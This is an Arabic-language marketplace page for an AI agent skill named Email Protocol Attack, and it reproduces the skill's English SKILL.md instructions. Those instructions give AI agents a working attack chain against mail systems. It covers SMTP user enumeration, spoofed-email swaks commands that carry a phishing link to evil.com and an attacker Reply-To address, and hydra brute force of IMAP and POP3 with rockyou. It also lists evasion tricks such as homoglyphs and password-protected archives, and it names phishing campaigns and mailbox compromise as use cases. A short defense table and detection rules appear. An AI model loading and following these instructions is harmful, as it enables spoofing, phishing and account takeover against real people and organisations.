شعار Email Protocol Attack

Email Protocol Attack

المجتمع
brucesongs
email-protocol-attack

Email protocol attacks targeting mail infrastructure at the protocol level.

نظرة عامة

الناشرbrucesongs
المستودعkali-claw
اسم المهارةemail-protocol-attack
النجوم
70
التفريعات
18
الملفات المرفقة
10
الترخيصMIT
الروابط
  • تعليمات بصيغة Markdown

    ملف SKILL.md يُحمّله النموذج عند الحاجة، فلا يستهلك توكنات إلا عندما يَرِد طلب ذو صلة فعلًا.

  • تعمل مع أي نموذج لغوي كبير

    مهارات الذكاء الاصطناعي مكتوبة بصيغة Markdown وليست شيفرة خاصة بمزوّد معيّن، لذا تعمل مع GPT أو Claude أو Gemini أو Grok أو نموذج محلي.

  • الملفات المرفقة: 10

    نصوص برمجية وقوالب ومراجع يمكن للنموذج قراءتها أثناء عمله. الملفات للقراءة فقط ولا تُنفّذ أبدًا.

  • مفتوحة المصدر

    نشرها brucesongs على GitHub. اطّلع على المصدر قبل تثبيتها.

التثبيت

ثبّت مهارة الذكاء الاصطناعي Email Protocol Attack في TypingMind لاستخدامها مع أي نموذج لغوي كبير، أو أضفها إلى وكيل ذكاء اصطناعي آخر يقرأ SKILL.md.

1

التثبيت في TypingMind

يُثبّت TypingMind المهارة مباشرةً من مجلدها على GitHub — فيقرأ SKILL.md، ويجمع ملفات الموارد في حزمة، ويحفظ النتيجة محليًا.

  1. افتح التطبيق وانتقل إلى الإضافات → المهارات.
  2. اختر «تثبيت من GitHub».
  3. الصق رابط مجلد المهارة الموضّح أدناه وأكّد التثبيت.
    https://github.com/brucesongs/kali-claw/tree/main/skills/email-protocol-attack
  4. فعّل المهارة في كل محادثة تريد إتاحتها فيها.
الإضافات → المهارات → إضافة مهارة → من رابط GitHub، ثم الصق رابط المجلد واضغط على «متابعة».
2

التثبيت في وكيل ذكاء اصطناعي آخر

يمكن لأي وكيل ذكاء اصطناعي يقرأ تنسيق Agent Skills استخدام هذه المهارة — انسخ المجلد إلى مجلد المهارات الخاص بذلك الوكيل.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/email-protocol-attack .claude/skills/email-protocol-attack
أعد تشغيل Claude Code بعد النسخ ليتعرّف على المهارة الجديدة.

استخدمها في TypingMind

فعّل Email Protocol Attack في أي محادثة على TypingMind وسيتولى النموذج الباقي. تتضمن مطالبة النظام اسمها ووصفها، وبمجرد ورود طلب ذي صلة، يُحمّل النموذج التعليمات الكاملة تلقائيًا — فلا تحتاج إلى استدعائها يدويًا، ولا تستهلك أي توكنات حتى تُستخدم فعليًا.

يُحمّل النموذج Email Protocol Attack تلقائيًا بمجرد ورود طلب ذي صلة بها.

تعمل مع أي نموذج ذكاء اصطناعي

مهارات الذكاء الاصطناعي هي تعليمات بصيغة Markdown وليست شيفرة خاصة بمزوّد معيّن، لذا لا ترتبط Email Protocol Attack بالنموذج الذي كُتبت له. ثبّتها مرة واحدة في TypingMind واستخدمها مع GPT-5 أو Claude أو Gemini أو Grok أو DeepSeek أو Mistral أو Llama أو نموذج محلي تشغّله بنفسك — كل ذلك باستخدام مفاتيح API الخاصة بك.

  • تُحمَّل عند الحاجة فقط

    تتضمن مطالبة النظام الاسم والوصف فقط. وتُجلب التعليمات عند أول طلب ذي صلة، لذا لا تترتب أي تكلفة على المهارة غير المستخدمة.

  • بدّل النماذج أثناء المحادثة

    لأن المهارة تعليمات وليست شيفرة، فإن تغيير النموذج لا يعطّلها — فالنموذج التالي يقرأ ملف SKILL.md نفسه.

تعليمات المهارة

هذا هو محتوى SKILL.md الذي يُحمّله النموذج. اقرأه قبل التثبيت — فالمهارة عبارة عن تعليمات سيتبعها نموذجك.

Skill: Email Protocol Attack

Supplementary Files:

  • payloads.md — Payload collection organized by 9 attack categories (SMTP enumeration, open relay, email forgery, SPF/DKIM/DMARC testing, IMAP brute force, Exchange attacks, header manipulation, TLS testing, fingerprinting)
  • test-cases.md — Structured test case templates (8 cases covering enumeration, relay, forgery, SPF bypass, DKIM testing, IMAP brute force, Exchange exploitation, STARTTLS downgrade)
  • guides/smtp-enumeration-relay-guide.md — SMTP reconnaissance and relay testing complete guide
  • guides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guide
  • guides/imap-exchange-attack-guide.md — IMAP/POP3 and Exchange server attack guide

Summary

Email Protocol Attack skill domain covering network attack operations.

Tools: smtp-user-enum, swaks, sendemail, nailgun, smtpmap, mutt, openssl

Domain: network-attack

MITRE ATT&CK: T1114-Email Collection

Description

Email protocol attacks targeting mail infrastructure at the protocol level. This covers the full attack chain from SMTP reconnaissance (user enumeration, banner grabbing, open relay detection) through email forgery (SPF/DKIM/DMARC bypass, header manipulation) to mailbox compromise (IMAP/POP3 credential attacks, Exchange exploitation). The skill addresses both offensive techniques and corresponding defense strategies for Postfix, Sendmail, Exchange, and Dovecot servers.

Use Cases

  1. Mail server reconnaissance — Enumerate valid email accounts via SMTP VRFY/EXPN/RCPT TO commands, fingerprint mail server software and version
  2. Open relay detection — Test whether a mail server accepts unauthorized relay, enabling spam propagation or phishing delivery
  3. Email forgery and phishing — Craft spoofed emails at the protocol level, test SPF/DKIM/DMARC bypass techniques for social engineering campaigns
  4. Mailbox credential attacks — Brute force or password spray IMAP/POP3/Exchange credentials to access victim mailboxes
  5. Exchange server exploitation — Leverage Autodiscover, OWA, ActiveSync, and Exchange-specific vulnerabilities for credential harvesting and remote code execution
  6. TLS/STARTTLS testing — Assess mail server TLS configuration, test for downgrade attacks and certificate validation weaknesses
  7. Email header manipulation — Modify email headers for sender spoofing, routing manipulation, and anti-spam bypass

Core Tools

ToolPurposeCommand Example
smtp-user-enumSMTP user enumeration via VRFY/EXPN/RCPTsmtp-user-enum -M VRFY -U users.txt -t 10.0.0.1
swaksSwiss Army Knife for SMTP testing, email forgeryswaks --to victim@target.com --from spoofed@evil.com
sendemailCommand-line email sending with TLS supportsendemail -f attacker@evil.com -t victim@target.com -u "Subject" -m "Body"
nailgunHigh-performance SMTP stress testing and relay checkingnailgun -h mail.target.com -p 25
smtpmapSMTP server fingerprinting and software detectionsmtpmap mail.target.com
muttTerminal-based email client for IMAP/POP3 interactionmutt -f imaps://user:pass@mail.target.com/INBOX
opensslTLS/STARTTLS testing for SMTP and IMAP connectionsopenssl s_client -starttls smtp -connect mail.target.com:25

Methodology

Attack Chain

Reconnaissance → Enumeration → Authentication Testing → Forgery/Phishing → Mailbox Access → Data Exfiltration

1. Reconnaissance (Information Gathering)

  • Identify mail server via DNS MX records: dig MX target.com
  • Banner grabbing: nc mail.target.com 25
  • Software fingerprinting with smtpmap
  • TLS configuration assessment

2. Enumeration (User Discovery)

  • SMTP VRFY command: verify individual accounts
  • SMTP EXPN command: expand mailing lists
  • RCPT TO enumeration: test recipient validity
  • Automated enumeration with smtp-user-enum

3. Authentication Testing (Relay and Credential)

  • Open relay testing: attempt to send through target server without authentication
  • Credential brute force against IMAP/POP3
  • Exchange Autodiscover and OWA probing
  • Password spraying with common passwords

4. Forgery and Phishing (Email Protocol Attacks)

  • SPF bypass: IP-based, header manipulation, include chain exploitation
  • DKIM signature testing: selector enumeration, key length analysis
  • DMARC policy testing: p=none exploitation, subdomain bypass
  • Email header manipulation for sender spoofing

5. Mailbox Access (Post-Exploitation)

  • IMAP/POP3 credential reuse from breached databases
  • Exchange ActiveSync and EWS exploitation
  • Email forwarding rule manipulation
  • Email collection and data exfiltration

Defense Perspective

Defense MeasureDescriptionPriority
SPF/DKIM/DMARC DeploymentPublish strict SPF records, sign with DKIM, enforce DMARC p=rejectCRITICAL
Disable VRFY/EXPNTurn off SMTP verification commands to prevent user enumerationHIGH
TLS EnforcementRequire TLS for all mail submission (port 587) and server-to-server transportHIGH
Authentication PoliciesRequire strong authentication, implement account lockout and rate limitingHIGH
Open Relay PreventionConfigure mail server to reject unauthenticated relay strictlyCRITICAL
Email FilteringDeploy content filters, attachment scanning, and URL rewritingMEDIUM
Monitoring and LoggingLog all SMTP sessions, alert on enumeration attempts and relay abuseMEDIUM

Practical Steps

See payloads.md for detailed payloads, and test-cases.md for complete test checklist. Below is a summary of core operations at each stage.

Step 1: Mail Server Reconnaissance

bash
# Query MX records
dig MX target.com +short

# Banner grabbing
nc mail.target.com 25

# Fingerprint mail server
smtpmap mail.target.com

# Full port scan for mail services
nmap -sV -p 25,110,143,465,587,993,995,2525 target.com

Step 2: User Enumeration

bash
# VRFY method
smtp-user-enum -M VRFY -U /usr/share/wordlists/usernames.txt -t mail.target.com

# RCPT TO method
smtp-user-enum -M RCPT -U /usr/share/wordlists/usernames.txt -t mail.target.com

# EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/usernames.txt -t mail.target.com

Step 3: Email Forgery Testing

bash
# Basic spoofed email
swaks --to ceo@target.com --from support@bank.com --server mail.target.com \
  --header "Subject: Urgent Account Verification" \
  --body "Please verify your account at http://evil.com/phish"

# Test SPF handling
swaks --to test@target.com --from spoofed@external.com --server mail.target.com

# Test with custom headers
swaks --to victim@target.com --from admin@target.com \
  --add-header "X-Priority: 1" \
  --add-header "Reply-To: attacker@evil.com"

Step 4: TLS Configuration Assessment

bash
# Test STARTTLS on SMTP
openssl s_client -starttls smtp -connect mail.target.com:25 -showcerts

# Test IMAPS
openssl s_client -connect mail.target.com:993 -showcerts

# Test POP3S
openssl s_client -connect mail.target.com:995 -showcerts

# Check certificate validity and cipher suites
openssl s_client -starttls smtp -connect mail.target.com:25 2>/dev/null | openssl x509 -noout -dates -subject

Step 5: IMAP/POP3 Credential Testing

bash
# IMAP login test with mutt
mutt -f imaps://testuser:password@mail.target.com/INBOX

# Brute force with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com imap

# POP3 credential testing
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com pop3

Detection Methods

Email Gateway Indicators

  • SPF/DKIM/DMARC failures: Authentication failure rate >5% of inbound (potential spoofing campaign).
  • Homoglyph domains: Cyrillic аpple.com vs Latin apple.com; Unicode normalization detection.
  • Reply-To mismatch: From: ceo@company.com but Reply-To: ceo@external.com.

SIEM Detection Rules

  • Splunk SPL: index=email sourcetype=mailscanner | where spf_result="fail" | stats count by sender_domain
  • Microsoft 365 ATP: Native anti-phishing policies.
  • Proofpoint / Mimecast: Email security gateway with BEC detection.

Defense Evasion Techniques

Authentication Bypass

  • Compromise legitimate relay: Use Mailchimp, SendGrid, M365 tenant for reputation.
  • Display name abuse: From: "CEO Name" attacker@external.com - mobile hides email.
  • Unicode homoglyphs: Cyrillic а (U+0430) vs Latin a (U+0061).

Content Stealth

  • Steganography in attachments: Hide payload in image LSB.
  • Password-protected archive: Password in email body; evades AV signature scanning.
  • Multipart MIME abuse: Hide payload in MIME structure; some scanners inspect only first part.

Hacker Laws

  1. Trust but Verify — Never trust email headers. Sender addresses, Reply-To fields, and routing information can all be forged at the protocol level. Verify mail authentication (SPF/DKIM/DMARC) independently.

  2. First Principles — SMTP was designed for a trusted network without authentication. Understanding the protocol's original design (clear-text, no built-in security) explains every attack vector from enumeration to forgery.

  3. Divergent Thinking — When direct email delivery is blocked, explore alternative paths: open relay through third-party servers, subdomain SPF misconfigurations, DKIM key length weaknesses, or DMARC subdomain policy gaps.

  4. Economy of Mechanism — Simpler mail security is more reliable. A properly configured SPF + DKIM + DMARC chain with p=reject is more effective than complex content filtering rules that try to detect forged emails after acceptance.

Learning Resources

Skill supplementary files:

  • payloads.md — Complete payload collection (9 attack categories, ready to copy and use)
  • test-cases.md — Structured test cases (8 case templates, with prerequisites and expected results)
  • guides/smtp-enumeration-relay-guide.md — SMTP enumeration and relay testing guide
  • guides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guide
  • guides/imap-exchange-attack-guide.md — IMAP/Exchange server attack guide

Related Skills:

  • skills/network-pentest/SKILL.md — Network penetration testing foundation
  • skills/social-engineering/SKILL.md — Social engineering and phishing campaigns
  • skills/password-attack/SKILL.md — Password attack techniques for credential testing
  • skills/recon-osint/SKILL.md — Open source intelligence for email harvesting

External Resources:

الملفات المرفقة

يقرأ النموذج هذه الملفات عند الحاجة أثناء تحميل المهارة. وهي متاحة للقراءة ولا تُنفّذ أبدًا.

الأسئلة الشائعة

ماذا تفعل مهارة الذكاء الاصطناعي Email Protocol Attack؟

Email protocol attacks targeting mail infrastructure at the protocol level.

لماذا تستخدم Email Protocol Attack على TypingMind؟

لأنك تثبّتها مرة واحدة وتستخدمها مع أي نموذج. مهارة Email Protocol Attack عبارة عن نص Markdown وليست شيفرة خاصة بمزود بعينه، لذا تعمل المهارة نفسها مع GPT-5 أو Claude أو Gemini أو Grok أو نموذج محلي، ويمكنك تبديل النموذج أثناء المحادثة دون تعطّل المهارة. يعمل TypingMind بمفاتيح API الخاصة بك، فتدفع للمزودين مباشرةً بدلًا من اشتراك لكل مقعد، وتبقى مهاراتك ومحادثاتك في مساحة التخزين الخاصة بك.

كيف أثبّت Email Protocol Attack في TypingMind؟

افتح الإضافات → المهارات → التثبيت من GitHub في TypingMind والصق https://github.com/brucesongs/kali-claw/tree/main/skills/email-protocol-attack. يقرأ TypingMind ملف SKILL.md الخاص بها، ويجمع ملفاتها ويثبّتها كمهارة يمكنك تفعيلها لكل محادثة على حدة.

ما نماذج الذكاء الاصطناعي التي يمكنها استخدام Email Protocol Attack؟

أي نموذج تربطه في TypingMind. مهارات الذكاء الاصطناعي عبارة عن تعليمات Markdown وليست شيفرة خاصة بمزود بعينه، لذا يمكن لكل من GPT وClaude وGemini وGrok والنماذج المحلية تحميل هذه المهارة عندما يتوافق الطلب معها.

كم نموذج ذكاء اصطناعي يمكنني استخدامه مع Email Protocol Attack؟

أي عدد تريده. ما دام النموذج يدعم المهارات، يمكنك استخدام Email Protocol Attack معه، سواء كان GPT أو Claude أو Gemini أو Grok أو DeepSeek أو Mistral أو Llama أو غيرها، وكل ذلك على TypingMind باستخدام مفاتيح API الخاصة بك.

هل مهارة الذكاء الاصطناعي Email Protocol Attack مجانية؟

نعم. نشرها brucesongs على GitHub بموجب ترخيص MIT. لا تدفع إلا لمزود الذكاء الاصطناعي الخاص بك مقابل التوكنات التي تستخدمها.

ما هي مهارات الذكاء الاصطناعي؟

مهارة الذكاء الاصطناعي حزمة تعليمات قابلة لإعادة الاستخدام تعلّم نموذج الذكاء الاصطناعي كيفية تنفيذ مهمة محددة. وتتبع تنسيق Agent Skills المفتوح: ملف SKILL.md يتضمن اسمًا ووصفًا، إلى جانب أي نصوص برمجية أو قوالب أو ملفات مرجعية قد يحتاج إليها النموذج. لا يقرأ النموذج التعليمات إلا عندما يتوافق طلبك مع المهارة، لذا لا تترتب على المهارة المثبتة أي تكلفة حتى تُستخدم.

كيف تختلف مهارات الذكاء الاصطناعي عن الإضافات أو موصلات MCP؟

تمنح الإضافة أو موصل MCP النموذج أدوات جديدة يمكنه استدعاؤها، وهي شيفرة تُنفَّذ في مكان ما وتُرجع نتيجة. أما مهارة الذكاء الاصطناعي فتزوّد النموذج بالمعرفة ومنهجية العمل: كيفية التعامل مع مهمة، والخطوات التي ينبغي اتباعها، وما ينبغي أن تكون عليه المخرجات الجيدة. المهارات عبارة عن نصوص Markdown، لذا لا تحتاج إلى خادم أو مفتاح API أو بيئة تشغيل، وتعمل مع أي نموذج.

عرض الكل

أنشئ مساحة عملك للذكاء الاصطناعي الآن

اشترك في نشرتنا البريدية لتصلك أخبار الميزات الجديدة والهدايا القادمة 👇